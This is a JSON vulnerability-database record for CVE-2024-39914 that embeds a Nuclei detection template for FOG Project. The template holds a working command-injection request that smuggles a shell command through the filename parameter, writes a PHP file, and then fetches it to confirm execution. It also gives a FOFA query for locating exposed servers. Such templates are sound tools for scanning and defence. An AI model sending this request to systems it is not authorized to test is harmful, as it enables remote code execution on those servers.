{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-39914/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-39914/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-39914/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-39914/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-39914/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-39914"},"sightings":{"href":"/api/v1/sightings/cve-2024-39914"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-39914.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-39914\n\ninfo:\n  name: FOG Project < 1.5.10.34 - Remote Command Execution\n  author: s4e-io\n  severity: critical\n  description: |\n    FOG is a cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.34, packages/web/lib/fog/reportmaker.class.php in FOG was affected by a command injection via the filename parameter to /fog/management/export.php.\n  impact: |\n    Unauthenticated attackers can exploit command injection to achieve remote code execution on the FOG server.\n  remediation: |\n    Update FOG Project to version 1.5.10.34 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-39914\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39914\n    - https://github.com/FOGProject/fogproject/security/advisories/GHSA-7h44-6vq6-cq8j\n    - https://blog.csdn.net/qq_39894062/article/details/140550009\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-39914\n    cwe-id: CWE-77\n    epss-score: 0.23237\n    epss-percentile: 0.97696\n  metadata:\n    vendor: fogproject\n    product: fogproject\n    fofa-query: icon_hash=\"-1952619005\"\n  tags: cve,cve2024,rce,fog,vkev,vuln\n\nvariables:\n  filename: \"{{to_lower(rand_text_alpha(12))}}\"\n  num: \"{{rand_int(1000, 9999)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /management/export.php?filename=$(echo+'<?php+echo+md5({{num}});+?>'+>+{{filename}}.php)&type=pdf HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        fogguiuser=fog&nojson=2\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body,\"No HTML files!\",\"HTMLDOC\")'\n          - 'contains(content_type, \"application/pdf\")'\n          - \"status_code == 200\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /management/{{filename}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body,\"{{md5(num)}}\")'\n          - 'contains(content_type, \"text/html\")'\n          - \"status_code == 200\"\n        condition: and\n# digest: 490a00463044022039069f92baac579b1262e8ef4a0433f49abee971663d862486a675b31a6e344e0220668c68827201845db61a24fd2c536f64b3b009a4d8513f7bf236a88c4333e8ad:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-39914"}